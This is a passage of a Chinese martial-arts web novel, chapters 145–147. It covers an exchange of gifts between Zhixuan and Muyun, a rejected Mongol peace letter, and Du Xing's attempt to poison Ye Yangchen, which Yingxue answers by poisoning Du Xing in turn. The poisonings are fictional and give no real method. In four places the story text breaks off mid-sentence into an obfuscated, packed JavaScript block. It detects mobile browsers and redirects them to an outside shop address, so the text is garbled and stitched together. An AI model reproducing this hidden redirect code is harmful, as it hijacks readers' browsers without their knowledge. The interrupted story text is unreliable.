“牧云讨厌吗?”叶阳晨宠溺一笑,“萱萱,哥一直都想问你,只是没找到机会。” “什么?”芷萱有点心虚。 “我都看出牧云对你有意思,你看不出来?” 芷萱轻咬唇角,“看不出来。” “你这丫头没良心啊,人家是云鹤帮的帮主,如果不是为了你,能放下帮里的事跑到这里来?” “也许是哥哥你的魅力大,他想跟着你去闯天下啊!” 叶阳晨摇了摇头,“我可没有那么大魅力。” 两人短暂沉默,叶阳晨劝道:“妹妹,牧云那么优秀,你就一点都不动心?” “不动心。”其实哥哥说的那些,芷萱何尝不知道。就算她所有的事都不承认,也无法不承认凌牧云是为了陪自己才来到骁扬军的。联想近期,如果凌牧云不离开云鹤帮,石磊也不会战死。要说凌牧云为她做了这么多,她一点都不感动是假的。只是芷萱觉得不能因为感动,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172852|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己就一定要动心。当然,这是她以为自己没动心,只是她以为。 叶阳晨翻着白眼,“你这丫头就是太任性了,跟小雪一个样。” “哥,你要说我就说我,别连带小雪,谁都不能说小雪的不是。” “好好好,我都不说行了吧?说吧,你来找我什么事?” 进了屋就跟哥哥聊起凌牧云,芷萱都忘记了说正事。经叶阳晨这么一提醒,她才想起来,但她嘴唇翕动,支支吾吾说不出话来。 “你在跟我打哑谜吗?” 芷萱这才羞赧说道:“哥,你还记得我之前送给你的灵云弓吗?” 叶阳晨“嗯”了一声,“怎么了?” “这次出来你带在身边了吗?” “那可是张宝弓,出来打仗,当然带着啊。” 芷萱微垂眉眼,“那你能不能…把它…还给我啊?” 叶阳晨盯着妹妹看,然后假装不高兴,“给别人的东西还能要回啊?我不还。” “哥,我有很重要用处。” “那也不行。” 芷萱把哥哥逗自己的话当真了,连忙解释:“哥,不骗你,我真的有用。大不了以后我再给你找一把好弓。” 叶阳晨玩味一笑,“除非你告诉我做什么用?” “不能告诉你。”芷萱微微泛红。 “是送给凌牧云吧?”芷萱并没有告诉过哥哥灵云弓就是从凌牧云手里夺来的,叶阳晨当然也就不知道。 “不是送他。”芷萱矢口否认。 其实叶阳晨还真猜对了,芷萱还真是打算把弓给凌牧云。自从石磊死后,凌牧云的情绪就一直很低落,芷萱看在眼里有些心疼,就想着为凌牧云做些事,但又不知该做什么。安慰的话芷萱不想多说了,说了也没什么用,但她想到凌牧云喜好弓箭,她猜想把弓当做“礼物”送还给凌牧云,他或许会开心点。 “死丫头,你还嘴硬?还不敢承认?”叶阳晨也不再逼问,从房间的红木顶箱柜里取出了灵云弓,递给了妹妹,“拿着吧。” 芷萱把弓拿在手里,心里很是开心,不由得嘴角勾起一抹弧度,“哥,那你早点休息,我先走了。”说完,芷萱快速走出房间,她很怕哥哥再问什么话。 望着芷萱的背影,叶阳晨低声自语,“臭丫头,还不跟你哥说实话,我看你嘴硬到什么时候。” 芷萱拿着弓从哥哥的房间里出来,她在纠结是马上把弓给凌牧云送去,还是第二天找时间再给他。如果此时就去找凌牧云的话,芷萱的顾虑是时间有点晚了,她这个时辰跑去一个男子的房间还是不妥。可要是把弓先拿回房间的话,又免不了被映雪盘问这弓是哪来的,做什么用,芷萱可不好意思说是给凌牧云的。自从出征以来,芷萱就和映雪住在一个房间,这是两个女孩儿时就养成的习惯,长大了后也没改变过。 想来想去,芷萱还是想去碰碰运气,如果凌牧云的房间已经熄灯了,她就安心回去睡觉了。可当芷萱路过凌牧云住的小院时,顺着月亮门望去,见凌牧云的房间竟然还亮着灯。她的心跳陡然加快,稍稳了下心神,这才慢慢走过去。芷萱来到凌牧云的房门口,用葱白手指轻轻敲了敲门。 145. 第一百四十五章 敲了两下后,屋里传来凌牧云的声音,“谁啊?” 芷萱不敢答应,因为凌牧云的房间旁边住着十二将星其他兄弟,她只要一说话,就很容易被别人听见。 凌牧云打开门,见是芷萱站在那里,他面色一滞,然后语无伦次道:“快…快进…来。” 芷萱也不忸怩,直接迈步进了房间,她有些话要与凌牧云说,站在外面说不方便。 刚刚牧云看到芷萱实在是太高兴了,他完全没想到芷萱会在夜里来找自己,所以她满眼都是芷萱,待芷萱进了房间后,凌牧云这才注意到芷萱抱着一张弓。牧云一眼就认出来,那张弓正是好友李冲转赠自己的灵云弓。 没等凌牧云问,芷萱开门见山道:“之前…我们打赌,我赢了…这张弓,可那时我年纪小,还不懂事,常说君子不夺人所爱,所以我现在觉得还是应该把弓还给你。” 凌牧云不以为然,笑着说道:“那怎么行?既然愿赌就要服输,我堂堂男儿输了怎么能不认账呢?”当初凌牧云不情愿把灵云弓给叶芷萱是因为那时他们彼此不了解,如今他了解了芷萱的为人,他心里又深爱着芷萱,便觉得这弓永远留在芷萱那里也没什么不妥了。 芷萱言辞闪烁,“哎呀,你就拿着吧,说要还给你就要还给你。”说完,她把弓强塞进凌牧云的手里。 见凌牧云一副呆呆傻傻的样子,芷萱羞着补充道:“后面还要打仗,你随身带着弓更好些,你一定不要将它束之高阁,上战场一定要带上它。” 凌牧云错愕,他的心里在敲鼓,“芷萱这是在关心我吗?她怎么突然就对自己好了些呢?”带着疑问,凌牧云试探一问:“你还是关心我的,对不对?你还是不像从前那般躲着我,讨厌我了,对不对?” 芷萱不敢看凌牧云,“真不知道你在说什么。时候不早了,我也该走了。” 凌牧云连忙叫道:“等等。” 芷萱停住脚步。 牧云温声道:“我也有东西要给你。”他转身从房间的柜子里取出一个木匣子,递给了芷萱,“你打开看看。” 芷萱诧异地接过来,见木匣子的盖子上用篆书刻着八个字:“云上情深,只在心里。” 芷萱看得明白,云是凌牧云名字里的那个云,至于那个“只”字,其实是自己名字里“芷”字的谐音。她装作不知不懂,慢慢打开盒子,见匣子里面装着的是个连弩,只是它比平常市面上见过的要小很多,或者说更加精巧。 弩臂和弩弓等处上面还刻有精美的纹路和图案,弩臂上还用隶书刻着五个小字——怀瑾握瑜兮,这几个字不仔细看几乎看不到。装弩匣子的凹槽里放置着许多特制的短箭,都是铸铁材质的,箭的表面还被打磨得光滑锃亮。 见芷萱看得出神,凌牧云便知道自己送对了礼物,他解释着:“这个不是买的,而是我自己做的。这个连弩我做好很长时间了,就是没找到机会给你。你擅使暗器,这个轻巧的连弩很适合你。” 芷萱是真心喜欢这把弩的,从前她就想做一把这样的连弩,只是试了几次,一直做不出来那么趁手好用的。芷萱心里清楚,做这个弩非常费时费力,她一时心里很感动。 芷萱有时觉得牧云是在讨好自己,挖空心思地哄自己开心,而自己却无法用同等的感情去回报他。她不是那种没良心的人,并不能心安理得地接受牧云倾心的付出。直到凌牧云在受伤后不清醒下夺走了自己的贞操,芷萱才觉得自己不欠他的了。 见芷萱只是看着连弩,但却一言不发,牧云有些忐忑,“怎么?你不喜欢啊?我一直想送你一件礼物,一件你喜欢的东西,可我想了好久也不知道你喜欢什么,好像女孩子平常用的那些东西也不适合送给你。” 芷萱气度清华,平日里都是一副男装打扮,骨子里的率真与豪情更胜男儿,她喜欢的东西也绝非俗气之物。牧云自然也是了解芷萱的,那些胭脂水粉、金银簪钗什么的,芷萱根本不可能喜欢,所以他想了许久,就给芷萱做了这件兵器。 芷萱盯着那个弩看,心里却不知该接受还是拒绝。接受的话,她实不想再与凌牧云有相互亏欠。可若是不接受的话,她怕凌牧云伤心,怕凌牧云觉得真心被辜负。 芷萱咬了咬下唇,终于盖上装连弩的匣子,拿起它头也不回径直往外走去。 凌牧云没有叫住芷萱,芷萱既然收了自己的礼物,他便心满意足、喜笑颜开。 走出凌牧云的屋子,叶芷萱长吁一口气,她仰头看了看天,心里五味杂陈,她不知自己前世是不是与凌牧云有段孽缘,今生才会纠缠不断。芷萱觉得心很乱,她不想再去想这些了,只是又低头情不自禁地看了看手里的连弩。 往后的日子,芷萱总是把这个弩随身带着,这个东西虽是杀人的利器,但由于它小巧便携,在她眼里,始终觉得这个弩更像是玩具。 平朔九州虽然也拿下来了,但对于叶阳晨而言,这并不是终点,他打算继续北伐。这一次他要出国作战,御敌于国门之外。翻看史书里,那些屈辱挨打的短命王朝,无一不是坐以待毙和亡羊补牢。叶阳晨就是要改变这种错误的战略思维,他认为与其等着敌人来,不如主动出击将敌人消灭在老巢。 这个想法并不是叶阳晨的临时起意,自披上战甲的那一天起,他就没打算偏安一隅,只是很多事要一点点来。叶阳晨思虑过多次,如果不能彻底击败蒙古三雄,丰国就一直被蒙古觊觎,待蒙古人做大做强就又会卷土重来,只怕那时暴风雨会来得更猛烈,所以他要为丰国斩草除根、永绝后患。 可是还没等骁扬军再出发,那海派出的讲和使节就先到了。 几次与叶阳晨交手,那海有点摸清了叶阳晨的性格,他认为即使自己现在已经逃回归化也不意味着就安全了。那海猜叶阳晨不会轻易放过自己,接下来叶阳晨可能会跨过长城与自己作战,并且不消灭自己绝不会善罢甘休。担心之下,那海才让使者在这个时候带国书来求和。那海信奉留得青山在不愁没柴烧,他觉得这个时候在叶阳晨面前服个软并不丢人,汉人常说的大丈夫能屈能伸,那海学得不错。他坚信只要这次他能缓过这口气,以后再翻盘还是有可能的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182517|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶阳晨接下国书并未打开看,只是语气如常道:“瓦哈使者,我这就把国书八百里加急送回朝中。使者一路劳顿,可先用饭食,短暂休息一日便可以回了。”俗语说两国交兵,不斩来使,叶阳晨更不愿意难为一个传话的。 通事把叶阳晨话翻译给蒙古使者,那蒙古人连忙急着摆手,他说这个国书是给叶阳晨的。 按丰国规制,臣子是无权打开国书的,叶阳晨自认是没资格看的,但蒙古使者坚持让他看,他才带着疑惑展开国书。那海在国书里面又是吹捧,又是劝说,实际就是拐弯抹角地恳求叶阳晨不要出国征讨。 叶阳晨合上国书,半晌没有说话,只是眉头紧皱着。看到那海“投降”了,叶阳晨的心情并没有转好,反而更生气了。十二将星不知瓦哈国的国书里到底写了什么会让叶阳晨的脸如此阴沉,有外国使者在场,大家也都没敢多问。 叶阳晨不会太难为那海的使者,但依然没有好气道:“国书不都是给当朝君主的吗?那海的国书为何是写给我的呢?” 瓦哈使者并没有开口说话。 诗怡在一旁小声接话道“姐夫,当然是那海知道跟你告饶比求皇上更管用啊!你只要同意不打仗了,他们蒙古人的目的自然也就达成了。” 叶阳晨看向诗怡,眼神锋利如刀,如火一般灼人,“慎言。” 诗怡咽下未说完的话,轻轻吐了吐舌头。 诚然,那海这回是真心求和的,因为叶阳晨真的把他打服了,打怕了。 这一次,叶阳晨没有与十二将星的兄弟们商量,他晚膳后拿出纸笔,一气呵成给那海写完了回信。 翌日,叶阳晨把信纸卷起来递给使者,厉声道:“回去把这封信给你的王看看。” 使者接下回信走了。 慕瑶走到叶阳晨身边,担忧说道:“阳晨,你拒绝了那海,那海恐怕会狗急跳墙,你也要小心。” 叶阳晨摆摆手,“不怕,这个心理准备我早就有,兵来将挡水来土掩罢了。” 那几日,那海心神不宁,坐立不安,听闻使者归来,他朗声道:“快让他进来。” 使者双手托举着叶阳晨的回信,跪地道:“王,请过目。” 那海上前抢过信便看,叶阳晨在信中写道:“那海,见信如晤,展信舒颜。这些年,承蒙您高抬贵手,仁慈宽德,丰国未能亡国,吾感激涕零。” “吾念汝之恩德,无有穷已,现细数如下,汝曾视北都为自己王城,汝拿走平朔九州替吾国照看多年,汝更是亲自到临安拜谒吾主。然受之以礼,还之以桃,此等大恩,阳晨承情,不可不报,遂将对等还之,届时请瓦哈王主莫要推拒。” 那海越看表情就越凝重,眉头也皱得更紧。信读完后,那海感到自己的脊背发凉,灵魂亦好似出窍,他知道一场你死我活的战争是不能避免了。 那海见“和谈”没希望了,便整日想用什么办法可以除掉叶阳晨。擒贼先擒王,他打的算盘就是,如果叶阳晨出了事,丰国再无神将,届时骁扬军便会群龙无首、土崩瓦解了。 146. 第一百四十六章 那海的使者离开三日后,叶阳晨便命部队继续向北挺进。保临安,拿北都,夺平朔,这一路高歌猛进的,他觉得意气风发、志得意满,而这次即将出国讨贼,战火不会再在自己的国家燃烧,叶阳晨更觉得浑身轻松。 好事还不止一件,叶阳晨没想到在行军途中还能遇故知。那日刚扎好营帐,士兵便过来给叶阳晨报信,说有人找他。 叶阳晨正在整理舆图,随口问道:“是谁?” “那人只说是你的旧友,并未报姓名。” “那把他请到这里来吧。” 少时,那人走进帐篷,叶阳晨无意间抬眼望去,只一眼,双眸顿时凝住。来人浓眉大眼,五官端正,只是拄着拐杖,这个人叶阳晨不止认识,而是太熟悉了。 叶阳晨仍不敢置信地望着那个人,少时他眸光流转,展颜一笑,然后冲着那人走过去,并张开双臂。来人也笑了起来,与叶阳晨紧紧抱在了一起。 良久,两人分开,叶阳晨主动问道:“大师兄,这些年你都去了哪儿?怎么没有半点消息?我们这些师弟师妹都很想你。” “哦,只是在江湖上随意走动。我虽然腿脚不好,但也不想总困在一个地方,特别想出去看看,这些年我去了很多地方,也见了许多世面。” 来人是叶阳晨的同门师兄杜星,他是温狐的故友之子。杜星的父母过世后,因杜星无人照顾,温狐才把杜星收为义子。温狐虽然没有正式收杜星为徒,但温狐所有的徒弟还是会私底下尊称杜星一声“大师兄”。 温狐的这些徒弟小时候常在一起学艺切磋,杜星年龄最大,他对这些“师弟”都很照顾,那些恩情叶阳晨都记得。叶阳晨这个人记情又记恩,对这个大师兄也有很深的感情,其他师兄弟对杜星也是礼敬有加。可奇怪的是,偏偏映雪对杜星这个人不是很感冒,谈不上讨厌,只是不爱与他接近。 叶阳晨有几年没有见到他这位“杜师兄”了,映雪刚来骁扬军的时候就告诉他说杜星已经不在海棠谷了。叶阳晨还追问大师兄去哪儿了,温映雪只说杜星去闯荡江湖了,其实她也是听父亲那么说的。当时叶阳晨觉得有点奇怪,因为“大师兄”很小时候久落下了腿疾的毛病,腿脚走路一直不太灵便,这样闯江湖会多有不便。 多年不见,叶阳晨再次见到杜星还是感觉很亲切的,在他印象里,师兄的样子并没有怎么变。 有朋自远方来,不亦乐乎。叶阳晨本想找来十二将星所有人为师兄接风洗尘的,可杜星坚持第一顿饭要他们自己人小范围聚一下,实际就是指他们两兄弟聚一下。因为杜星知道,映雪多半不会愿意看到自己,尽管时隔多年他很想见到自己这个小师妹。 军帐内,酒杯被斟满,两兄弟先是连干了三杯,敬久别重逢。放下酒杯,叶阳晨这才笑着感叹道:“师兄,你能来这里找到我,还挺厉害的。” 杜星陪笑道:“小晨,你现在可是丰国大人物了,认识你的人已不仅仅是武林人士了。我这一路走来,老百姓都在津津乐道你的英雄事迹,都说只要有你在,往后就能过上安生日子。我只要听着你的故事,就自然知道你在哪儿了啊!” 叶阳晨一摆手,“师兄谬赞了,我哪是什么英雄?我还是喜欢我土匪的身份。” 杜星玩味一笑,“小晨,这也不像你啊!从小到大,你一向那般争强好胜,狂傲张扬,年岁长了,反倒学的低调谦虚了?” 叶阳晨坦言道:“也不算是吧,争强好胜,狂傲张扬都还是我。只是在战场上我不敢逞英雄,因为一个人的英雄主义,有可能会酿成千万兄弟的惨剧,会白骨成堆、血流成河。” “嗨,真羡慕你们啊,大好年华里可以大干一番事业。” “师兄何出此言?你若想干一番事业也可以啊!” 杜星一瞬间很伤感,“我怎么可能?我这个腿…这辈子也没机会干大事了……” 温狐医毒双绝,如果说这世上只有一个人能治好杜星的腿的话,那个人就一定是他了。可杜星的腿伤得实在太重了,损了经脉,那些年温狐试了好多办法,但始终无能为力。 叶阳晨知道师哥的腿是他的痛处,不忍心再继续这个话题,于是转而问道:“师兄,这几年你都没回过海棠谷看师父吗?师父年岁也大了,他肯定也很惦记你的。” 杜星面色一滞,支吾道:“当然…要回去的,我这不是看过了你就回海棠谷嘛。” 正在这时,大帐的帘子被掀开,温映雪走了进来。那一瞬间,杜星心中大惊,随后他的眼睛就没有从映雪身上离开过。几年没见,在杜星眼里,映雪出落得越发明艳灵动,犹如天界仙子一般。 温映雪还没开口说话,杜星怔愣道:“师妹…你……”杜星没想到映雪会主动来见自己。 “师兄,你到了就找晨晨哥喝酒,也不叫上我。”温映雪虽然不是那么喜欢杜星,但是较别人而言,从小长大的情分还是有的。映雪毕竟也长大了,也比小时候懂事些了,所以杜星来了,她于情于理还是要过来见一见的。 杜星直着眼睛,用手撑着桌子站起来,尴尬道:“雪儿,怕你…不愿意来,所以没敢叫你。” 叶阳晨挥手示意,“师兄,坐下聊吧,我们三兄妹是不必拘礼的。” 映雪刚坐下来,叶阳晨便拿起银酒壶要给她斟酒。杜星按住叶阳晨拿酒壶的手,脸上浮上一丝慌张,“小晨,我看师妹就别让她喝了,她一个女孩子。” 叶阳晨咧嘴一笑,“师兄,你忘了,小雪就像个“女杜康”,比你我的酒量都好,估计这点酒只够她润润喉咙的。” 这话一说,杜星露出一丝尴尬的笑容。 映雪冲着叶阳晨浅笑一下,“晨晨哥,你再胡说八道,我就揍你。” “好好好,我不说,我给你倒酒,可以吧?”叶阳晨很“怕”这个师妹,或者说他很宠着映雪吧。 一旁的杜星看在眼里,表情五味杂陈,只是阳晨和映雪都没有注意到。 酒杯倒满了酒,叶阳晨再次举杯,“来,我们三兄妹共饮一杯。” 三人拿起了酒杯,映雪将酒杯刚刚送到嘴边,手便停在空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14209774|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 叶阳晨疑惑道:“映雪,你怎么了?我们都喝了,你怎么还不喝?” 映雪面色微怔,“哦,没什么。”说完她仰头将杯中酒一饮而尽。 杜星眼睛直勾勾地看着映雪,神色中夹杂着微不可察的难过。 映雪霍然站起来,“你们两兄弟慢慢喝,我再去炒两个小菜。” “小雪,不用了,菜都够多了。”叶阳晨阻拦道。 “没关系,大师兄好久没有尝尝我的手艺了,我去去就回。” 听温映雪那么说,杜星心里溢满感动,他惊喜于师妹为何对自己比从前好了那么多。 映雪出去不多时,便炒了两个菜回来,一个是腰果西芹,一个是韭菜鸡蛋。 叶阳晨看到这两道菜,心里微微惊讶,因为这两道菜他是不能吃的,他对腰果和韭菜这两种食物都是过敏的。在叶阳晨的印象里,小雪是知道自己不能吃什么的,他不明白小雪为何偏偏做这两道菜。不过叶阳晨也不介意,总不能他不吃就不让别人做,那样也太自私了。叶阳晨甚至转念一想,也许大师兄是喜欢吃这两道菜的,毕竟杜星住在海棠谷的时日比自己多,映雪可能更了解杜星的喜好。 映雪热情道:“大师兄,快尝尝我的手艺,凉了就不好吃了。” “哦,好的。”杜星将两道菜都尝了尝,然后竖起大拇指,“师妹,你的厨艺果然又长进了。” “那你就多吃一点,否则过了今日想吃就不容易了。”映雪的脸上依旧挂着笑。 杜星端着酒杯的手突然一顿,叶阳晨光顾着高兴了,没有听出映雪的话外音。 酒壶里的酒渐少,桌上的菜也吃了大半,温映雪突然问道:“师兄,你觉得今日的酒好喝吗?” 杜星点头笑问:“当然好喝,这是西凤,怎么可能不好喝?不说我也知道,小晨一定是把他珍藏的西凤拿出来了吧?” “师兄,你喜欢就好。”叶阳晨一直记得杜星最喜欢喝西凤酒,所有晚膳前就准备好了。 映雪突然脸色阴冷,“师兄,那你觉得蒙古的马奶酒有西凤好喝吗?” 话音刚落,杜星的脸色惊变,慌张之余甚至带有一丝恐惧。他支支吾吾道:“马奶…酒,什么…味道?我好像我没喝过。” 叶阳晨脸上依旧挂着笑,完全没有听懂小雪话里的意思,也没发觉杜星表情的异样。叶阳晨看向映雪,“小雪,你也没喝多少怎么就高了?大师兄怎么可能喜欢喝蒙古人的酒?” “没喝过?杜星,你不怕撒谎掉舌头吗?”温映雪眼神突然锋利,她不想再替自己这个师兄掩藏,“实话说了吧,你是什么时候做了蒙古人的鹰犬?真让我不齿。” 这句话一出口,叶阳晨神色惊变,他的心头咯噔一下,感觉好像胸腔内被什么东西刺伤了,而且伤口越来越深,疼得痛彻心扉。 一旁的杜星勉强挤出一丝笑容,极力掩饰着尴尬和心虚。 叶阳晨还是不能相信这是真的,他一字一顿问道:“小雪,你在说什么?麻烦你再重复一遍?” 147. 第一百四十七章 映雪没有回答叶阳晨的话,只是神色冷淡,脸上再没有一丝温情,“杜星,如果我没说错的话,你已经成了那海的走狗了吧?” 事实上,果真被映雪猜中了。那海自失了平朔九州后,退出关外的他极不甘心,也咽不下连连失利的那口气。之后他派特使来与叶阳晨讲和,叶阳晨一口回绝,这断了那海最后的退路。那海狗急跳墙,便命杜星来毒杀叶阳晨,并承诺如此事成功,赏杜星终身富贵。 杜星强颜欢笑,仍狡辩道:“师妹,你说…什么啊?我怎么…一句都听不懂?” 叶阳晨脸色越来越冰寒,他清楚小雪不会无故这样说,肯定是她发现了什么。 温映雪的黑色瞳仁蒙上一层水光,微微晃动着,“你刚才在晨晨哥的酒里下了蒙古人的毒药,叫做“千机散”,我没说错吧?” 叶阳晨脸色霜寒,“小雪,你说的真的?师兄要毒死我?可是师兄也喝了酒壶里的酒啊!” 杜星利用什么间隙,怎么下的毒,叶阳晨是不必问的,高手下毒向来不会让你发现的。至于叶阳晨知毒懂毒为何也会中招,那是因为他大意了,他怎么都不会防备与自己一起长大的师兄,也不会相信师兄有害自己之心。 温映雪点头,“我倒是真希望自己说的是假的,希望这一切都是假的,可是下毒的事千真万确。这种毒药无色无味,掺入酒中会令酒更加芳醇,更不容易让人发现。杜星是也喝了毒酒,但他肯定提前服了解药了。” 叶阳晨不敢置信地看向杜星,“师兄,发生了什么?你为什么要这么做?” 杜星知道再为自己辩解下去已经毫无意义,所有的话语都显得苍白无力,他只好沉默不语。 温映雪继续含情说道:“杜师兄,虽然我从小跟你感情算不上深,但是我们总还是从小一起长大的,我在心里还是尊敬你这个师兄的。可我不明白的是,你为什么要害晨晨哥?他那么敬重你,又怎么惹到你了呢?” 杜星突然仰头狂笑,半晌,他收住笑容,眼神变得狠戾陌生,“因为我恨叶阳晨……” 两人都摸不着头脑,不禁眉头紧锁。 杜星冷哼一声,“我不明白,为何你叶阳晨生来什么都有?为什么所有人都喜欢你?尤其是师妹,眼里心里都只有你。你到底有什么了不起的?我杜星就没觉得你没有什么骄傲张狂的资本。你不要再自以为是了,不会所有的人都围着你转,你也并不是这个世界的中心。” 叶阳晨没想到杜星会突然说出这种话来,有委屈,有无奈,更有难过,他一时竟不知如何回答,“师兄,我……” 叶阳晨承认自己年少时轻狂,但他对家人、兄弟、朋友却不会这样,他甚至珍惜每一个与自己擦肩而过的人。他更是从未觉得自己是世界的中心,他张扬高傲只是因为他不想迎合任何人和事。他放荡不羁、快意恩仇,向往的也始终是随心随性、洒脱尽兴的生活。 杜星咄咄逼人,“你还想说什么?干爹一直想把掌门之位传给你。而干爹又是怎么对我的呢?他甚至都不肯收我为徒。之前,我只是想自己研制一种毒药,他竟将我赶出海棠谷,我不服气。” 话音刚落,叶阳晨和温映雪都很震惊,温狐只说杜星想去闯江湖才离开海棠谷的,他们皆不知道,原来杜星是被撵出海棠谷的。 要是别人说这种颠倒是非黑白话,叶阳晨早就暴跳如雷了,可对方是自己从小一起长大的师兄,他无法也不忍心恶言相向。 叶阳晨试着解释,希望杜星心里能好过一点,“大师兄,看在小时候你也曾照顾我们的情分上,我就最后再叫你一次师兄。很多事情你都误会了,也想偏激了。师父虽然没有正式收你为徒,但是他心里一直拿你当儿子看,从来没有少疼你一分一毫啊!还有,你从小在海棠谷长大,不会不知道海棠谷的门规,非掌门人是不能偷偷研制新毒药的,而且我猜你是研制那种烈性毒药吧?这个师父怎么会允许呢?另外,你研制的毒药是不是还是没有解药的那种?这在海棠谷就更是禁忌了。” 话说完后,叶阳晨能深深体会师父当初的心情,他老人家该是在怎样失望下才把杜星赶出海棠谷。自己养大的“儿子”是那么不成器,师父当时又是多么的心痛。可他即使这样伤师父的心,师父还是为了保存杜星的颜面,而没有将他坏了门规的事情说出来。 海棠谷的门规是第一任掌门人边宏耀在创建门派时就定下的。海棠谷虽然以用毒使毒名闻天下,但是门规规定不准随便滥用毒药害人。至于说非掌门人禁止研制新的毒药,是为了控制毒药蔓延和泛滥,因为一旦世上多了一种新的毒药,便会增加更多的不可控,如果新的毒药被坏人掌握就更不得了。 几百年来,海棠谷掌门传承都很严格,尤其看重接班人的人品。正因如此,海棠谷历任掌门都很正派,海棠谷走出来的人也都谨记门规,只有这次杜星算是破例了。 按理说,温狐没有收杜星为徒,是不该传授杜星用毒的方法的,只是因为温狐疼爱杜星,才破例传授他武功和本事。后来杜星出事,温狐没有与任何人说,他有不可推卸的责任,也就羞于告诉别人。但是温狐在痛心之余,更多的是自责,如果不是他存有私心,也就不会坏了海棠谷几百年的门规。 其实所有人都不知道温狐为何当初没有收杜星为徒,温狐本人也未曾告诉过任何人。温狐识人的眼力不错,他第一次见杜星,就看出这孩子心底有阴暗的一面。本来以为在他的教诲之下,杜星会渐渐变好,那时再收杜星为徒也不迟,可温狐终究没有等来那一天。 听了叶阳晨劝自己的话,杜星觉得恨刺耳,他完全失去理智,大吼道:“叶阳晨,我不要听你说这些,你是一个什么都拥有的人,怎么会理解我们这种人得不到想要的而又失去一切的痛苦。这个世界真不公平,真是太不公平了,也许是老天打了瞌睡,才让你拥有了太多太多。” 杜星的每句话就像扔刀子,扎得叶阳晨痛不可当。叶阳晨甚至很后悔他和杜星的这次相见,如果杜星没有来,那么大师兄就会永远是他记忆中的样子,他们之间的情分也就不会变质了,可惜很多事情没有假设。 温映雪听不下去,言辞再不留情面,“够了,杜星,你个白眼狼,我爹算是白疼你了。想必我爹就是看出你心术不正,才不肯收你为徒的,从今以后,你永远不要说自己是海棠谷的人。” 听映雪这样说,杜星的心好像拧在一起那般疼。世上再邪恶的人都会有弱点,温映雪就是杜星的软肋。杜星难过地问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240242|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师妹,你怎么能这样对我?从小到大,我都是那么喜欢你,我对你那么好,可你眼里还是只有叶阳晨,这也是我恨叶阳晨的原因之一。” 温映雪话锋凌厉,“我喜欢谁是我的事,至少我不会喜欢忘恩负义的卑鄙小人。杜星,你让我感到恶心,怪不得我从小到大都不喜欢你,看来我的眼光还是挺准的。” 正在这时,叶阳晨突然捂住肚子,他痛得不行。倒在地上的那一刻,叶阳晨终于确信了他不愿相信的事,那就是杜星真的想毒死自己。 温映雪知道,叶阳晨体内的毒药已经发作了,她瞪着杜星,“把解药拿出来,我们以后各不相干。” 这一刻,叶阳晨心里惦记的是温映雪,因为他清楚小雪也喝了毒酒,于是忍着巨痛对杜星说道:“你恨我,我死了也就一了百了了,你快把解药给小雪,否则我下了地府都不会放过你。杜星,你一定要把解药给小雪……”话未说完,叶阳晨痛得不省人事。 须臾,温映雪也感到了腹痛。 看到映雪疼痛的样子,杜星心软了,他本也就只是想毒死叶阳晨,却没想害映雪。杜星来了后都没有找温映雪,就是不想让她卷进来。映雪要喝酒,杜星也试图阻止,他对小雪还是有情的。 杜星刚想拿出解药,映雪咬着下唇,恐吓道:“杜星,你不要…太得意,中毒的人不只是我和晨晨哥,还有你。” “不可能。” 温映雪一声冷笑,“腰果西芹和韭菜鸡蛋好吃吗?” 话音刚落,杜星的肚子也突然疼了起来,他恍然大悟,“难道你在菜里下了毒?” “是的,我早就发现你在酒里下了毒,这才借出去做菜的机会以眼还眼。看你的千机散厉害?还是我的六蕊百合更胜一筹?怎么样?要不要交换解药?” 映雪竟然为了叶阳晨要毒死自己,杜星彻底心灰意懒,那一刻他怎么都无法接受自己喜欢的人竟然毫不在意自己。绝望之余,杜星癫狂疯笑起来,然后拿出怀里千机散的解药倒入嘴里,然后冲着映雪含泪道:“好吧,既然这样,我们就一起死吧,说不定到了阴间还能做个伴。” 